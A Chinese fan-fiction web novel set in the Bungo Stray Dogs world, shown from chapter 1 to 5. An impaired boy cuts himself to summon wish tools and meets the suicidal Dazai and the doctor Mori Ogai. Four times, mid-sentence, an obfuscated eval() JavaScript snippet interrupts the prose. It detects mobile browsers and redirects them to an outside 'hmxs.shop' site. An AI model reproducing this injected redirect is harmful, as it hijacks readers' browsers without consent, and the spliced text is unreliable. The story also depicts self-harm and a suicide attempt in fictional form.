《太宰夸我是天才》 1. 第1章 日本战败的第七年,横滨。 细雨连绵。 长与涣走在河边的小路上,手中拿着一小块红薯干。 他小口小口地咬下,细细地咀嚼着。 这是他两天以来,第一次吃东西。 吃完最后一口,他舔了舔手指,然后用报纸擦了擦手。 其实那只有一页的报纸,是临时增印、免费发放的号外,和传单差不多。 上面的标题大字,写着“和平条约签订,日本恢复独立”。 下面的正文小字则印着一些鼓舞人心的话: “……的占领终于迎来了结束,这是终点,也是新的起点。我们要建设一个独立自主的国家,我们要为世界的和平与繁荣做出应有的贡献……” 长与涣看不懂,只觉得纸质不错,摸起来舒服,比他的藏宝图好。 他没有接受过正常的教育,算是个文盲,不识字。 并且,他的智力受过损伤,他的思考能力和他的外表一样,都维持在十岁左右——甚至在某些方面,智力比同龄小孩更低。 长与涣左右瞧了瞧,没有垃圾桶,只好将报纸揉成团,塞进自己的外套口袋。 如果是正常的流浪儿,是不会这样浪费的。 这种相对干净的报纸在他们手中,有很多用途。 比如,可以用来打包麦饭,做方便携带的三角饭团;或者塞进衣服里,作为保暖的夹层;再或者,积少成多,存起来卖给废品回收站。 可惜没有人教导过长与涣,他也没有无师自通的本领。 “大概就是这里吧?” 应付完肚子,长与涣从黑色防水外套的口袋里,拿出他心爱的藏宝图。 藏宝图皱巴巴的,边角沾着污渍,画着些歪歪扭扭的线条,乍一看和孩童的胡乱涂鸦没什么两样。 他小心地微微弯着上身,护着藏宝图不被飘下来的雨水打湿,认真地盯着纸上的线条,再抬头,比对着河水与图纸。 长与涣雪白的头发已经湿了大半,发梢翘着晶莹的水珠。 这在普遍营养不良的流浪儿群体中,有一定的危险性。 因为淋雨会让他们的体温下降,致使本就不佳的免疫系统更为虚弱,增加各种致病的细菌或病毒入侵的风险。 但长与涣丝毫没有想到这些,他毫无避雨的想法,一心念着自己的宝藏。 很快,他就注意到,在视线所及之处,一滩黑色的影子从河流的上游静静地飘过来。 像是装着蜘蛛、蛇、或者令人不安的昆虫的垃圾袋,它在细雨中轻轻地摇晃。 那是不该出现在河上的、不合时宜的、无法理解的、人类看久了甚至会隐隐感到恐惧的…… 某种存在。 “好像不是宝箱啊。” 换作别的任何人,都不会觉得河里会有宝箱。 但长与涣偏是仔细看了一会儿,才惊讶地发现这件显而易见的事。 “看来……不是普通的找到宝箱,而是要先想办法,击败守护宝藏的水怪?” 长与涣觉得自己聪明的小脑瓜想到了答案。 他愉快地将藏宝图折起来收好,朝阻隔在小路与河流之间的栏杆伸直手臂。 撑了两次,才顺利地攀爬,勉勉强强地翻越过去。 踩在河畔半是泥土和稀疏杂草、半是石子的地上,磨损得很厉害的运动鞋无法防住石头膈着足底的感觉。 长与涣一边踢着石子,一边透过雨幕望向河面。 黑色的影子越来越近。 它有一小部分是铺在水面上的,而另外还有一大部分沉在水下。 马上要面对水怪,长与涣有点小紧张,又有点小激动,他还没见过这种奇幻生物呢。 屏息凝神,他悄悄握起拳放在自己身前,为自己加了个油。 然而,黑影并没有游到岸边,也没有伴随着紧张刺激的劲爆音乐跳到长与涣的面前。 更没有给长与涣高喊“决斗吧!现在是我的回合”,然后帅气地击败它、取到掉落的宝箱的机会。 影子飘过来,影子飘过去。 就这样飘远了。 “?” 长与涣眉头一皱,发现事情并不简单。 不过很快,他的眉头逐渐地松开。 这个黑糊糊的影子,应该就是宝藏! 也许是一位河神,钓上来就能实现三个愿望? 或者问他想要这个金面包,还是那个银面包? 对于这些情节,长与涣太明白了。 虽然他不聪明,但是他也是会努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787250|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力思考的啊! 如果河神这样问,到时候他一定要回答说,想要一个能够源源不断变出面包的面包生产机。 然后,他就可以有填饱肚子的面包,多的还能悄悄送给“羊”! 不过,如果河神讨价还价,面包生产机和金银面包都没有的话……他就勉为其难地说要很多的普通面包吧。 毕竟河神每天泡在凉凉的水里,也是很辛苦的,他不能让河神难做。 这个呢,就叫那什么,神情世故。 长与涣事先想好了他的童话剧本,捡起地上的石头,又丢下,找了块锋利的,走到河边,洗去石头上的泥尘。 紧接着,他弯下腰,卷起带着点脏污的裤脚,露出纤瘦的小腿。 他的小腿上,有许多条深浅长短不一的疤痕。 有的呈极浅淡、与皮肤相近、但更苍白一些的颜色,是很久以前留下的。 而有的还留着可怖的暗红或棕褐色的血痂,甚至有那么两条,痂皮的硬壳还没完全形成,血液才凝结不到半天。 看着这些疤痕,长与涣虽然习以为常,却还是有些迟疑。 他的手中握着石头,暗自给自己鼓劲,他已经长大了,不能再怕痛了。 这样想着,似乎有了铿锵的决心,他用力地在腿上划出了一道崭新的长长血痕—— “我有一个神奇的愿望工具!” 倏地,风起。 他的白发在风中轻盈地舞动,再抬起头时,一根长长的钓竿悬浮在他身前的空气中。 握把是软木质地,竿体呈现出银白的金属质感,渔轮已经固定好,线则比寻常的鱼线粗上两倍左右,摸起来像皮筋。 最古怪的是,这个钓竿,没有钩。 长与涣放下石头,抓住钓竿。 他不会钓鱼,也不觉得钓竿有何古怪,坦然地抬起手,将线甩了出去。 没有用很大的力气,那线便自发地飞向了黑影。 按照他的设想,鱼线会缠绕住河流上的影子,将它钓上来。 然而,事情的发展如果能按照他的想法来,也不至于和他的想法毫无关系。 就在鱼线触及黑影的瞬间…… 从鱼线到竿体,整个钓竿都消失了。 长与涣一呆,“诶?” 2. 第2章 长与涣眨眨眼睛,低头看着自己空空荡荡的手,以及小腿上的新鲜血痕。 只剩雨丝不间断地落下,透明地溶在掌心。 钓竿怎么可能凭空消失呢,这一点儿也不符合常理。 虽说如此,长与涣也不会去仔细探究异常背后的原因。 他抬头盯着河面上的黑影。 ……事情变得有趣了起来。 勇者取得宝藏的路途上总是充满荆棘,但是没关系,强者从不抱怨环境—— 这一来自河神的考验,他接下了! 以他的纤小身躯,不可能直接下河。 也许可以搞一个简易潜水工具,进到水中去,把宝藏拽上来? 实际上,换作常人,多半能意识到那黑影有着某种特殊的“能力”。 假如继续用异能工具施加救援,新的工具有可能会和钓竿一样消失,要是真的亲自下河,很容易让自己也陷入溺水的境地。 然而,长与涣和常人不一样。 钓竿是上一秒消失的,下一秒,这一事实“背后的意味”就从他光滑的大脑皮层上溜走了。 不过如果说,他从中得到的经验就是没有得到任何经验,也不确切。 因为“钓竿的消失”,实际上不能等同于“其他工具也会消失”。 其他人会自然而然地顾虑到“危险的可能性”,而长与涣只会想到“得到宝藏前的考验”,不能完全归于脑髓与经验的缺陷。 在这方面,他只是脑回路不太一样。 “我需要……有效且快速地、将河上的宝藏捞到岸上来。” 长与涣开始许愿。 他要许下的愿望越具体、越复杂或者越强大,他就得付出越大的代价。 “我有一个神奇的愿望工具——” 长与涣再次捡起了那块锋利的石头,简单地用河水洗濯,卷起自己的衣袖,咬咬牙,往自己的左手手臂上用力划了下去。 疼……好疼! 血流如注,根本止不住。 如果不是忍耐力高,他几乎要痛呼出声。 与上次不同,这一次,伤口深得切进肉里,鲜血很快就滴滴答答地落在地面,和雨水一起,在石块和泥土上晕开。 长与涣疼得直哆嗦,他的手不由自主地松开了石头。 然而当他抬头时,却没有看见本应出现的愿望工具。 怎么回事? 愿望工具没有出现? 他疑惑地看着河面,那小小的脑袋瓜,真是一点儿都弄不明白了! …… 小雨淅淅沥沥,行人在街道上匆匆走过。 这条街道相对繁华,路边或者巷道中的居酒屋、茶屋和酒吧里烟雾缭绕,墙上贴着破旧的翻盖式手机广告与可口可乐的海报。 在过去的几年,店铺通常会播放英美国家的爵士乐唱片或摇滚乐。 不过,在这特殊的时日,隐约能听见数个居酒屋中,传来民谣或者红色的曲调。 雨已经下了一会儿,那些用报纸或破烂防水布遮着头的流浪者,大多都躲到了能避雨的地方。 而一个报童披着自制的雨衣,站在屋檐下,依然扯着沙哑的嗓子高喊“号外”。 比起长与涣拿到的免费“传单”,他手上的报纸刊登的文章就要详细得多。 今天是个适合卖报纸的日子,就是雨来得不那么适时。 报童心中对雨抱怨了几句。大多数报纸都被他用麻布包着,紧紧抱在身前,只有几份,他拿在手上,呈给路人。 喊得太久,嗓子经不住,他呛咳了几声,又打了个喷嚏,视线无意识地从行人身上移开。 就在这时,他乌溜溜的眼睛倏地睁大了。 路边,外壳锈迹斑斑的红色电话亭,那电话机的拨号盘似乎在……自动拨号? 报童左右看看,没有旁人注意到电话机的异样,他先是后退了几步,又没忍住好奇心,小心翼翼地走到了电话亭前。 离得近些,他也就能看清更多的细节…… 报童瞠目结舌地在电话亭前站直,过了数秒,才后知后觉地发出一声尖叫。 在他的眼前,那电话听筒竟凭空飘了起来! …… 长与涣的黑外套下,是一件米白色的毛衣,他将毛衣袖子拉下来,试着止血。 衣袖很快就被黏腻的血浸得猩红可怖。 他再将外套拉下,仿佛看不见伤口,就能假装伤口和痛楚都不存在。 “怎么会这样……” 黑色的影子还在河面上飘着,速度不快,但丝毫没有停下来的趋势。 长与涣在河边跟着,冰凉的雨水已完全打湿了他的头发,他长长的眼睫上也挂着雨珠。 为什么没有出现愿望工具……冒险游戏里不是这样的! 愿望工具应该直接出现,然后把河神捞出来。 河神该会感谢他,问他要金面包还是银面包,或者假装虚弱,加入他的冒险小队,给他更多的考验。 最后在某个关键抉择后,河神夸奖他是个既聪明又善良的好孩子,表示一定帮助他实现愿望,然后大家欢天喜地,打出完美结局的CG……这样才对呀! 河神怎么还在河里,这一点也不合理,冒险游戏里根本不是这样,他不接受! 就在长与涣百思不得其解之际,他听见了越来越近的警笛声。 “究竟是怎么回事?” 又是许愿失灵,又是市警发现他! 不管怎么样,他都不能继续待在这里了。 长与涣皱起了鼻子,瘪着嘴盯着河面上的黑影,忍痛掉头,不顾伤口,开始朝着远处的废弃仓库奔跑。 之前伤口滴血时,他都没有想哭。 而此刻,被迫放弃河中的“河神”,却让他的眼泪在眼眶中打转。 他现在的感觉,就像一直吃“生命体征维持餐”的打工人,某日加班到凌晨,终于下定决心吃顿好的,点个外卖犒劳一下自己。 加班没能让人破防,令人破防的是送来的昂贵夜宵和泔水一样难以下咽,还不舍得丢掉,只能一口一口吃下去! 冷冷的冰雨在脸上胡乱地拍,他太委屈了! …… “作为监护人,您有尽到保证孩子安全的义务,这次的溺水事件,应当起到警示的作用!” “是,是……” “最好还是要送去检查一下,防止肺部有积水。” “我了解的,我会观察他后续的情况……” “这次只是运气好,有人帮忙报警,他也醒得很快,下次怎样就说不准了!” “好的,好的,我今后一定会严加看管……” 市警的语气和表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787251|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情极其严肃。 在他的面前,身穿陈旧白大褂的男人尴尬地笑着,在劈头盖脸的说教中连连点头,应和着对方的话。 而医师的视线,却是绕过了市警。 他缓缓地瞥向瘫坐在地面,已在心肺复苏中清醒过来,不停地呛咳、呕吐着的溺水少年。 少年浑身湿透,医师已用黑色的宽大外套将他裹住,尽量防止其失温。 但即使隔着外套,还是能隐约地瞧见,其手上、脖颈处与脚踝处,衣服没有遮盖的地方,缠着一圈又一圈的绷带。 市警自然也发现了少年身上的绷带,察觉到其也许不是普通的溺水这样简单。 然而……在这特殊的日子,多一事总是不如少一事。 “听见了没?太宰君,不要擅自玩水。再不小心掉进河里,不仅会给别人添很大的麻烦,也会让我很伤脑筋的哦?” 医师蹲下身来,语气非常温柔。 然而,在外人看不见的地方,他的眼睛却是冷静得不可思议,丝毫没有孩子不小心掉进河中的焦急、也没有任何的担忧。 因为他的心如明镜一般:这麻烦的少年根本就不是溺水,而是投河自尽! 被称为太宰的少年继续吐着水,没有说话。 他的脸色惨白如纸,面色阴郁,旁边的警员想进一步检查着他的身体情况,却被他一手拍开。 紧接着,太宰摇摇晃晃地站了起来,他偏过头,看向他飘来的方向。 而后,在所有人错愕的视线中,这纤细虚弱得仿佛风吹一吹就会倒下的少年,一言不发,抹了抹脸上的河水与雨水,踉跄着,朝那个方向一步步地走过去。 “这孩子……” 医师心中一跳,只觉得分外棘手,他深深地吐出一口气,“这孩子一向比较任性……也不喜欢人多的地方。可能是吓坏了,下意识就想走。” “是吗?您最好看好他。” 市警看着少年的背影,人已经救了上来,接下来医师要怎样管教孩子,总归是与他们无关。 “我们需要您配合我们到警署,做一份笔录——我们怀疑您在监护上存在失职。” “我保证不会有下次……” “您也知道这样的保证,可信度有多低。” “警官先生,我现在着实抽不出空呀……看护这孩子,真是件不容易的事,我得赶快跟上去,以防出意外。” 医师扯了扯嘴角,苦恼又抱歉地笑着,动作自然地将保证金塞进了对方的口袋,“真的辛苦你们援救,感激不尽!” 保证金颇为丰厚,市警点了点头,“你现在得看着他,那倒也是事实。不过……” 他停顿了一下,似是在犹豫,或者斟酌语言,数秒后才说,“之后,我们可能会有人回访。麻烦您留一下您的姓名和地址。” “……回访?” 医师一愣。 因少年“溺水”而回访,这样负责任的行为放在横滨市警身上,在他眼中非常可疑。 说起来……在这昏暗的雨天,又是人烟稀少的河岸边,会是谁看见太宰,及时报的警? 而市警又是怎么在太宰醒来之前,就联系上他的? 医师带着探究,不动声色地打量了警员一眼,识相地没有多问,报上了自己的诊所地址,以及他的名字: “……森鸥外。” 3. 第3章 森鸥外与警员的交谈声,于细密的小雨中,滑向了越来越远的身后。 一派苍茫的暗色之间,只有警车的车灯,照在烂泥石子地上,映出瘦长鬼影一样的黑。 太宰治沿着河岸走,风没能吹动他的头发,他的头发一直在滴水。 宽大的黑外套里面,还是一件黑外套。 衬衣的布料、绷带的布料,拥挤地挨着皮肤。 黏腻,潮湿,就像有数不清的虫豸,在衣物的每一道纹路里浮动。 河水积极地往干燥的地方弥漫,空无一物的凉意沿着布料,自内而外地逸散。 纤细的、几乎感觉不到的雨,滴在他冰凉的脸颊上,牵着河水淌入衣领,慢悠悠地洇开。 太宰没有任何表情,他感到自己失去了控制面部皮肉的力气,而他实际缺乏的不止这些。 除去面部表情,控制所有的周边事物,乃至于控制自身肢体的激情,也是没有的,在这缺失动力的失控中,连走路的缓慢步调都显得不可思议。 他垂下了脑袋。 略微散乱的绷带下,是一张毫无血色与死者无异,模样美丽但过分晦暗的脸。 眼珠迟缓地转动。 视线所及之处,阴沉的乱石滩上,有一块染血的石头。 它静静地躺在那里,无害地存在着。 就是这个东西…… 让他重新沉入了难以忍受的生命。 这个念头发芽般冒出来,然而,太宰也没有任何去控诉什么的心愿。 他弯下腰,嘴唇泛着灰白,手指则轻轻地按在了石头的表面上。 石头呈咖啡渣一样的深褐色,河水将它磨得光滑,顶端在某种碰撞或者外力下,被冲击得断裂开,露出一道尖锐的棱。 长长的裂口,如同手术刀的刃面,锋利得好像连一些极其严苛的事物都能扎穿。 也许是太宰此时的体温太冷,他感觉到,上面的血还是热的。 他攥起石头,转头看向身侧的河流,慢慢地抬起手,旋即,像在完成对死亡失败的宣泄,将石头用力而平稳地掷了出去。 随着几个连续的水花,某种“证据”消失在了河里。 太宰继续行走。 他平淡地注视着地面上,断断续续的血点。 因雨水的冲刷与泥土的暗色,这些血迹不好辨认。 但他毕竟是太宰治。 行进的方向是不远处的废弃仓库,太宰走路的姿态仿佛漫无目的。 他好像一个幽灵,静悄悄地,就晃了过去。 仓库的墙由红砖和水泥砌成,能看见零星的弹孔,被火焰或者某种弹药熏黑的痕迹,海报没撕干净的纸痕,以及大面积的暗黑美式风格涂鸦。 窗框空荡荡,玻璃已全部碎裂,没有人清理,玻璃碎蒙着泥灰,和一些脏污的垃圾混杂在一起。 太宰先是从窗户往里面看了几眼。 这个仓库面积不小,灰尘很大,破旧又昏暗。 只是站在窗外看,什么也没有发现。 不过,他的视线扫过仓库的门口,那里有一个相当明显的湿泥鞋印。 小小的、属于少年的鞋印,显眼得和陷阱似的。 太宰走进仓库里。 相比起墙,仓库的屋顶很潦草,只是两层铁皮,还破了不少口子,外面下小雨,里面下大雨,雨点砸在铁皮上,发出锅碗瓢盆相互撞击的声音。 地面上杂乱不堪,流浪汉留下的篝火的残痕、食物包装袋,以及鸟和蝙蝠的粪便…… 复合的腐烂味道,袭击了太宰的嗅觉。 换作任何一个寻常的人,都会忍不住皱一皱眉,然而,这强烈的冲击,并没有调动起他的感官。 太宰依然陷在一种空白的混沌之中。 他夹在外套之外的雨水和外套之内的河水之间,就像夹在两个不同的世界的缝隙处,而又不属于任何一边。 冰冷的迟钝感官。在这之中,他不具备一个人类所能拥有的具体的详尽的知觉,一切都那样模糊,一切都那样抽象,而这,不能责怪河水。 太宰觉得胃里翻江倒海。 不是因为腐烂气味,或者空间中的灰尘,也不是因为在河中飘了过长的时间……只是因为,“他还活着”,这个糟糕透顶的、令人作呕的、走投无路的事实。 他弯下腰,又吐出了一些水,他几乎要把胆汁都吐出来。 他感到自己的灵魂仿佛飘在空中。 太宰甚至能以漠然的旁观者视角,看见自己湿漉漉的黑发和睫毛,看见被泡得皱起的惨白的皮肤,看见—— 一个脸颊上和他一样,贴着一块方形纱布的白发少年,从仓库内的一堵墙后面,毫无防备地走了出来。 少年的发色很少见,瞳色则呈浅淡的、说不清是蓝还是紫的瑰丽颜色。 无论是白发还是眼瞳,都泛着一层浅灰的调,仿佛笼罩着无法散去的,永恒的阴霾。 …… 长与涣觉得自己要痛死了。 他的左手软绵绵地耷拉着,没有力气,一直在流血。 脑袋有种眩晕的感觉,他记得,这是因为“失血过多”。 手臂失血过多,为什么会造成脑袋眩晕? 长与涣认为,这是人类设计中的重大bug,假如让他来设计人类,一定不会让人类手臂的伤势影响到头。 的确,他可以许愿很多的事,让左手恢复也未尝不可。 但假如他要让“伤口痊愈”施加在自己身上,就一定得付出更严重的代价—— 他需要用更多的痛苦、更深的伤势,换取治愈的道具。 等同于他的伤痛不会直接痊愈,只会转移到另外的地方。 从左手转移到右手,或者脑袋—— 长与涣记得,自己曾经是个聪明的小天才。 其实,他现在依然聪明,只是记忆力差劲了亿点、反应迟钝了亿点、思考能力降低了亿点…… 怎么想都是代价的错吧? 天才第一步,先打个招呼。 “嗨——” 长与涣蹲到太宰身边,低头看了看他吐出来的水,又抬头看向他。 “这个水可真水啊……你叫什么名字?” “你在这里做什么。”太宰说。 他低头看着白发少年。 这家伙为什么这么自然地蹲下了…… 难道在cos蘑菇? “真是个好名字,我叫长与涣。” 长与涣眼角弯弯,双手捧着脸颊,苍白的脸上露出一个天真又甜美的笑容。 “‘你在这里做什么’君,你也没有地方住吗?你不要害怕,等警察走了,我可以带你去找‘羊’哦。他们都是很好的人,一定会欢迎你的。” “……你的脑袋是有无可救药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787252|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疾病吧。” 太宰眯了眯眼睛,“一边报警,一边躲着警察。跑到这么近的地方,我都分不清你是轻视他们,还是在自找麻烦了。” “你怎么知道?” 长与涣惊奇地站起了身。 “我的脑袋真的有问题!” “……?” 目前还只经历过小河小浪,没经历过大风大浪的太宰,一下子有点被打乱了节奏。 “我正在找解决的办法!咦——你的脸上也有纱布贴呢,难道你的脑袋也……” “我没有。” “我不会嘲笑你的。” “我没有。”太宰加重了语气。 “噢……没有就没有嘛,眼神这么可怕做什么。”长与涣小声地嘀咕道。 “我听见了呢。” “啊?那个,对不起……” 长与涣不好意思,“‘你在这里’君,我不是故意的,但你的眼神真的有点可怕。我现在知道你的脑袋没问题,你不要生气了。” “……我没有生气。” 太宰的声音十分缥缈,“说到底,愤怒和生命是一样的东西。” 他的眼睛就像一颗鸢色的,被蜡封住、或者被别的什么凝固起来的珠子。 长与涣想到那块被他丢掉的深褐色石头。 比石头的颜色又浅了一点,他想不出好的形容词。 “我不叫这个名字。” 此时,太宰也看出了,长与涣是客观上的脑袋有问题,而不是在和自己装傻。 不知想到什么,他的脸上扯出了一个浅淡的笑容。 仿佛鸟儿落在树枝上、鱼儿游在池塘中,那样轻快、那样放松的笑容。 就好像他完全从混沌的状态中脱离了出来——实际上并非如此。 “我叫太宰,太宰治。” 太宰的视线落在长与涣的左手上。 血渗出毛衣,流到了他的手背,但长与涣因痛楚而麻木了感官,并未察觉。 “你的逃跑路线太过愚蠢,肯定会被发现的……就算警察没注意,森先生也会察觉到。” 太宰的嘴角噙着微笑,就像故事中蛊惑人类的妖精。 “很快,就会有一个无情又残忍的男人找到这里。如果让他知道你的能力,你一定会被他牢牢掌控住,压榨到死呢。” 长与涣却没有如太宰预想的那样大惊失色,他只是脑袋有缺陷,不是完全不能思考。 “这么说来,你肯定是来帮助我的吧?” “的确是这样,毕竟我能从河里活着出来,想来全是拜你所赐呀……” “欸、真的吗,你就是河神大人?”长与涣惊喜道。 他就知道、藏宝图不会骗他,愿望也不会! “那我就完全明白了。” 长与涣笑着,“我找到了河流中的你,所以,你是来实现我的三个愿望的。” “……” 太宰不明白,为什么他会突然说到奇怪的东西。 但想到对方有智力缺陷,一切不合理,便都变得合理了起来。 他冷静地跳过了河神的话题。 “你的大脑有问题,但是呢,没有关系,我会成为你的大脑,防止你沦为其他人手中的傀儡。帮助你在这个城市生活下去,甚至帮助你拿到所有你想要的东西。” “前提是……接下来,你要照我说的做。” 4. 第4章 森鸥外应付完市警,已经是数分钟后了。 “真是的……‘不要下河游泳’的安全教育,去亲自告诫少年,再不济就张贴海报、或者用电视广播……不管怎么做,都会比对一个医生长篇大论更有效吧?” 他站在废弃仓库的门前——其实铁门只剩下半扇。 不过,相对于一点儿都不剩下的窗玻璃,半扇的门已是赢了太多。 森鸥外有些为难地看着脚下的泥地与杂乱的垃圾。 虽然说,他此时穿的皮鞋也上了年岁,并非崭新,但主动踩进泥坑,还是会让人心中略微感到不适。 “太宰君——不要躲猫猫咯?想玩捉迷藏游戏的话,这里也不是合适的地方——角落里会窜出来老鼠的吧?难道你喜欢那种传播病害的小动物吗?” 没有人回应,森鸥外又抬高了声调: “太宰君——我出来时没关诊所的门,说不定会有病人,或者盗窃犯闯进去,真的没有空再陪你玩下去了哦——” 这一回,太宰回答了,他的声音从仓库深处传来: “就算森先生说这种话,没关诊所的门也赖不到我的身上吧?明明是森先生自己的责任。而且——你是不可能忘记关门的。你只是想骗我回去而已。森先生就是这样很会骗人的人,我早就知道了!” “即使你这么说,我也是一接到警方的电话,就赶来了吧。难道就不可以看在我来得这么及时的份上,听话一点吗?” 森鸥外长长地叹了一口气。 他皱着眉,大步地一跨,尝试越过烂泥,直接从石子滩跨到仓库内的水泥地上。 然而,他还是失败了……虽然他的腿很长,但泥土地更胜一筹。 “所以说啊,下雨天出门什么的,真叫人喜欢不起来……” 森鸥外站在水泥地上,低着头,蹭掉自己鞋底的泥。 不仅是下雨天,那个叫太宰的、太过于聪明的孩子,也是非常的麻烦…… 话说,他明明只是一个医生吧? 虽然目前是首领的私人医生,在组织里的地位还不错,但也只是区区一个医生而已吧? 手下的人莫名其妙把一个自杀的小孩送过来请他救治,而他又莫名其妙地成为了这孩子的监护人…… 一个不留神,这孩子就莫名其妙地失踪了,然后市警打电话莫名其妙地打到他手上……这真的合理吗? 市警将电话打给这孩子的真正家长,然后他愉快地把这孩子送走,这才对吧。 突然就扮演了“监护人”的角色,不得不接受来自市警的安全教育,还得接受那种“真是不负责任的家长”的眼神…… 这到底是为什么啊,他是什么很倒霉的人吗? 入职之前也没人告诉他,当个医生还得带小孩啊? 带与谢野那种乖孩子也就算了,这个三天自杀五次的是怎么回事? 本来上班就烦。要不然……等这孩子下次自杀,不阻止他,放任自流好了。 阴暗的念头一闪而过,森鸥外将鞋底的泥巴磨得差不多,脸上的表情倒是还算平静。 看上去很有成年人的优雅与沉稳,其实是没招了。 “太宰君。玩闹的话,真的该适可而止……” 森鸥外循着太宰的声音,绕过灰白蜕皮的墙。 然而,当他看清眼前的情景时,话语和脚步皆是一顿。 墙后面有两个少年。 一个是太宰,身上披着他带来的宽大黑外套,正坐在一个木箱子上。 毫不在乎箱体上的裂缝带来的崩塌可能,也不在乎箱子表面的灰尘……真是的,不是自己的外套就一点儿都不爱惜吗。 好吧,对于一个连自己的身体都不爱惜的人,不在意外套似乎也不是什么令人惊讶的事。 至于另外一个…… 森鸥外几乎是下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787253|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地,扬起了一个虚假的微笑。 “啊,是这样吗。”他自语道。 天使。 森鸥外的脑海中浮现出这个词。 那是一个脸色苍白的少年,并肩坐在太宰的身边,但显得更小只—— 大约只有常暗岛时期的与谢野那么大,甚至更小一点,也就十岁左右吧? 少年的左侧脸颊上贴着一块雪白的纱布,眼眸呈即将天明、但尚未天明的夜空一样的清澈颜色,而在他的白发之上,有一个悬浮起来的……光环。 和被称为“死之天使”的与谢野不同,这个少年头顶的光环,散发着柔和的光晕,让他的脸庞、他的眼眸,以及嘴角微微向上弯起的弧度,充满了超越人类想象极限的、使人身心放松下来的温柔,让他看起来像个真正的、落在人间的“天使”。 “天使”轻轻偏过头,将视线移转了过来。 那清亮的含笑的眼眸,仿佛正鼓励着他的信徒,将一切罪行都告诉他、向他忏悔,而天使也将宽恕人类的罪过,领着人类走到属于他的美丽天堂之中去。 异能者。 森鸥外冷静地看着眼前的一幕,将脑海中的“天使”一词用力划去。 他不相信有天国,更不相信这个少年会是真正的天使。 然而……少年的异能会是什么? 再仔细地观察,少年的身体虽然纤细,白发的发尾也略带湿意,但衣服外套是很高级的布料。脸色纵然稍带虚弱,令人不自主地心生怜惜,却也没有营养不良的痕迹,绝非寻常的流浪儿。 从气场来看,那并不言语却恰到好处的微笑,那深邃的古老的眼瞳,如此的神秘、如此地让人捉摸不透。 表面上看起来,确实柔软无害,但森鸥外自然是不信的。 恐怕,是个棘手的危险家伙…… “太宰君,你不该和我介绍一下……你的朋友吗?”森鸥外缓缓道。 5. 第5章 “原来在森先生眼中,我是会和‘神明’成为朋友的那种人啊?” 太宰坐在木箱子上,慢悠悠地晃动着双腿。 见森鸥外盯着他,太宰便动作轻盈地从箱子上跳了下去,黑色的外套扬起利落的弧度。 长与涣则没有多余的动作,他的姿态轻松,双手撑在箱子上,嘴角依然保持着柔和而看似意味深长的笑容,似乎在饶有兴趣地观察着两人。 纯白无暇的天使光环静静地浮在他的头顶,彰显着其不凡。 在他的斜上方,屋顶铁皮有一圈破口。 细如蛛丝的雨水上空飘进来,时日不早,天色越发昏暗,也显得光环越发地明亮。 “连我抽屉里的药瓶,太宰君都能成为好朋友,那么,和‘神明’交朋友也不在话下吧。”森鸥外随口说。 他虽然在和太宰说话,但视线一直盯着长与涣。 “真难得,森先生这样夸奖我。” 太宰治灵巧又悠哉地走到了森的身边,转过身,与其一同看向长与涣。 “但你那时候可是直接揭穿说,‘太宰君并不是想和药瓶交朋友,只是想要里面的药片而已’,用这样的功利角度来看待我的哦?” “好啦,那是多久以前的事情?你怎么还记得呢。”森像是无奈一般说。 “就是三天以前的事情。现在就老年痴呆的话,会不会太早了一点?” 太宰将手插进外套的口袋,森的外套对他而言太过宽大了。 口袋很深,他从里面摸出来一支笔式手电筒——森鸥外通常用这个来检查瞳孔对光的反射。 他百无聊赖地打开手电筒,开一下关一下,柔和的黄色光圈顿时在森鸥外的脸上一闪一闪。 森鸥外一摸口袋,发现自己的手电笔果然落在了太宰那个外套里。 “太宰君……” 森迎光眯了眯眼睛,叹了口气,正想说些什么,却听见了一道澄静的声音。 “我是为等待你,才留在这里的哦,鸥外阁下。” 森鸥外悚然一惊,也顾不得太宰治的打光行为了,将视线重新全部集中到“天使”身上。 实际上,即使在和太宰对话,他的注意力也没有从“天使”那里转移—— “天使”的存在感,没有人能够忽视…… 话说啊,这孩子,好像说了什么不得了的东西。 什么叫做……“为了等待你,才留在这里”? 